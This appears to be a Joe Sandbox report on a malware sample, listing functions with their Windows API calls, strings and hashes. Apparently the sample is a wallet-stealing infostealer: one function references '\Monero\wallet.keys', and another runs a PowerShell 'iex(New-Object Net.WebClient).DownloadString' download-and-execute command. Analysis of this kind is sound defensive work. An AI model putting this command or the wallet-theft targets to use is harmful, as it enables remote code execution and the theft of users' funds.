Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f322c8bd5694fa5e2d2bc623feec48c9180ac5ac233eac195beded670b663652
Instruction ID: 11793f7b5e2273cc1f9f2d6cf74783676168f051736c811944dc3eb9b36e104c
Opcode Fuzzy Hash: f322c8bd5694fa5e2d2bc623feec48c9180ac5ac233eac195beded670b663652
Instruction Fuzzy Hash: 6321EB71A10218AFEB24DB54DC85FE9B7B8FB48701F00C5D9E609A6180DF75AA85CFE4

Function 00A57690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A576A4
RtlAllocateHeap.NTDLL(00000000), ref: 00A576AB
RegOpenKeyExA.ADVAPI32(80000002,015FBFB0,00000000,00020119,00000000), ref: 00A576DD
RegQueryValueExA.ADVAPI32(00000000,0160E638,00000000,00000000,?,000000FF), ref: 00A576FE
RegCloseKey.ADVAPI32(00000000), ref: 00A57708

Strings

Windows 11, xrefs: 00A576BD

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 1e8b339d07bb9013e9dec511e6804488e027242990919c9ba3f0d3c7fbdff1a6
Instruction ID: 891cffede1fd7702aa4f3ce83a3ff366f6e551f0267e2e5dd325147775bdecb7
Opcode Fuzzy Hash: 1e8b339d07bb9013e9dec511e6804488e027242990919c9ba3f0d3c7fbdff1a6
Instruction Fuzzy Hash: 93014FB5A04204BBEB00DBE4ED49F6EB7B8EB48701F104455FE04E7291E67499048B65

Function 00A57720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A57734
RtlAllocateHeap.NTDLL(00000000), ref: 00A5773B
RegOpenKeyExA.ADVAPI32(80000002,015FBFB0,00000000,00020119,00A576B9), ref: 00A5775B
RegQueryValueExA.ADVAPI32(00A576B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00A5777A
RegCloseKey.ADVAPI32(00A576B9), ref: 00A57784

Strings

CurrentBuildNumber, xrefs: 00A57771

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: b308636ce5967737d0aa34067dad3b89620f99a68cd41dc44bd73e169db98fba
Instruction ID: 7bd57b52fc8fee1cac22e82c9c244bf5653ffb53e474efc3a8ee6e19ccc6cdbf
Opcode Fuzzy Hash: b308636ce5967737d0aa34067dad3b89620f99a68cd41dc44bd73e169db98fba
Instruction Fuzzy Hash: B30167B5A40308BBE700DBE0DC49FAEB7B8FB48701F004559FA05A7291D67465008B65

Function 00A499C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A499EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A49A11
LocalAlloc.KERNEL32(00000040,?), ref: 00A49A31
ReadFile.KERNEL32(000000FF,?,00000000,00A4148F,00000000), ref: 00A49A5A
LocalFree.KERNEL32(00A4148F), ref: 00A49A90
CloseHandle.KERNEL32(000000FF), ref: 00A49A9A

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 1861bb783710bf201f000c8efbdab0b4173d55240725bb2eeb36a6b738ffc44a
Instruction ID: 2edee561117f96127a4e32f3562ee6016af0c66f4c23c2ddcbb60a3cc482fb31
Opcode Fuzzy Hash: 1861bb783710bf201f000c8efbdab0b4173d55240725bb2eeb36a6b738ffc44a
Instruction Fuzzy Hash: 86312D78A00209EFDB14CF94C985BEF77B5FF88341F108169E911A7290D778A952CFA1

Function 00A54780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0160E218), ref: 00A547DB

Part of subcall function 00A58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A58E0B

lstrcat.KERNEL32(?,00000000), ref: 00A54801
lstrcat.KERNEL32(?,?), ref: 00A54820
lstrcat.KERNEL32(?,?), ref: 00A54834
lstrcat.KERNEL32(?,015FB7F8), ref: 00A54847
lstrcat.KERNEL32(?,?), ref: 00A5485B
lstrcat.KERNEL32(?,0160DBE0), ref: 00A5486F

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A58D90: GetFileAttributesA.KERNEL32(00000000,?,00A41B54,?,?,00A6564C,?,?,00A60E1F), ref: 00A58D9F

Part of subcall function 00A54570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00A54580
Part of subcall function 00A54570: RtlAllocateHeap.NTDLL(00000000), ref: 00A54587
Part of subcall function 00A54570: wsprintfA.USER32 ref: 00A545A6
Part of subcall function 00A54570: FindFirstFileA.KERNEL32(?,?), ref: 00A545BD

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: b7e0c3eba68c874662756c1aef9b0971f19d979b579ffd474e1bf6c0027d12f1
Instruction ID: 39a001fc620323ae7a7b99e171833b9f678e9aafcdb2b2dde5ce25713ad1834c
Opcode Fuzzy Hash: b7e0c3eba68c874662756c1aef9b0971f19d979b579ffd474e1bf6c0027d12f1
Instruction Fuzzy Hash: 213180B2900208A7DB10FBB0DC85FED737CBB58701F404589B719A6081EE78978DCBA6

Function 00A52C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

ShellExecuteEx.SHELL32(0000003C), ref: 00A52D85

Strings

')", xrefs: 00A52CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00A52D04
<, xrefs: 00A52D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00A52CC4

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: cfb1c826fba4ca0c7bad6e7d744e612a8092b7d5f4dd78cd5acac6bbe5711172
Instruction ID: d7dc141dfd1e063490e6f4fde2ceec749b486a1c4789e3ddc1fac06c84dfad10
Opcode Fuzzy Hash: cfb1c826fba4ca0c7bad6e7d744e612a8092b7d5f4dd78cd5acac6bbe5711172
Instruction Fuzzy Hash: 8D41BD71E102089ADB14EBA0C992FEDBB74BF24301F404619F916B7191EF746A8ECF91

Function 00A49E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00A49F41

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Strings

v20, xrefs: 00A49E21
ERROR_RUN_EXTRACTOR, xrefs: 00A49E67
@, xrefs: 00A49EF1
v10, xrefs: 00A49EA3

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: d007f56b46498e3a91e95704af996f04b514c4edca7f40fe6997f1bc54b7f5eb
Instruction ID: 8899c93c07b1327d21e3d40ff8dd8de84d0d16d84345cc3bff896a245c47aa58
Opcode Fuzzy Hash: d007f56b46498e3a91e95704af996f04b514c4edca7f40fe6997f1bc54b7f5eb
Instruction Fuzzy Hash: 52615174A10248EBDB14EFA4CD96FEE7775BFA4344F008518F90A9F181EB706A49CB52

Function 00A540B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0160DD40,00000000,00020119,?), ref: 00A540F4
RegQueryValueExA.ADVAPI32(?,0160E1E8,00000000,00000000,00000000,000000FF), ref: 00A54118
RegCloseKey.ADVAPI32(?), ref: 00A54122
lstrcat.KERNEL32(?,00000000), ref: 00A54147
lstrcat.KERNEL32(?,0160E230), ref: 00A5415B

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 62a53b1c63ed2c92d3a2aade0cab95d91d0aa2ccb706c562d6f73e348eb61ea9
Instruction ID: 12dc605af181f37247e5e9a618da62488542bd959fc4374d92ad635adecf9833
Opcode Fuzzy Hash: 62a53b1c63ed2c92d3a2aade0cab95d91d0aa2ccb706c562d6f73e348eb61ea9
Instruction Fuzzy Hash: 674189B6D10108ABEB14EBA0DD4AFFE737DBB88300F404559BB1557181EA755B8C8BE2

Function 00A56920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00A5696C
sscanf.NTDLL ref: 00A56999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00A569B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00A569C0
ExitProcess.KERNEL32 ref: 00A569DA

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 9b881d7ec65a488ed70a93fbb00b8d0f78f599a16903f4c3d00c33a695415d91
Instruction ID: 9c3c83a13e2217fea8c80618d08fd5d43a73500f641831c71001a681361131ee
Opcode Fuzzy Hash: 9b881d7ec65a488ed70a93fbb00b8d0f78f599a16903f4c3d00c33a695415d91
Instruction Fuzzy Hash: C321ECB5D14208ABDF04EFE4D945AEEB7B9FF48301F04852EE506E3250EB345609CBA9

Function 00A57E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A57E37
RtlAllocateHeap.NTDLL(00000000), ref: 00A57E3E
RegOpenKeyExA.ADVAPI32(80000002,015FBF40,00000000,00020119,?), ref: 00A57E5E
RegQueryValueExA.ADVAPI32(?,0160DD60,00000000,00000000,000000FF,000000FF), ref: 00A57E7F
RegCloseKey.ADVAPI32(?), ref: 00A57E92

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 6c6f71576b6c1b72513897e12b0840eedab641959b2e9d27a7cd33b4244e3c90
Instruction ID: c2966c6470710998612580c7e9514f3f1706072fb0c3c1fd955c6d0b2070caac
Opcode Fuzzy Hash: 6c6f71576b6c1b72513897e12b0840eedab641959b2e9d27a7cd33b4244e3c90
Instruction Fuzzy Hash: 19115EB1A44205FBEB10CF94ED4AFBFBBB8FB44B11F10415AFA05A7280D77458048BA5

Function 00A59260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0160E068,?,?,?,00A5140C,?,0160E068,00000000), ref: 00A5926C
lstrcpyn.KERNEL32(00C8AB88,0160E068,0160E068,?,00A5140C,?,0160E068), ref: 00A59290
lstrlen.KERNEL32(?,?,00A5140C,?,0160E068), ref: 00A592A7
wsprintfA.USER32 ref: 00A592C7

Strings

%s%s, xrefs: 00A592B5

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
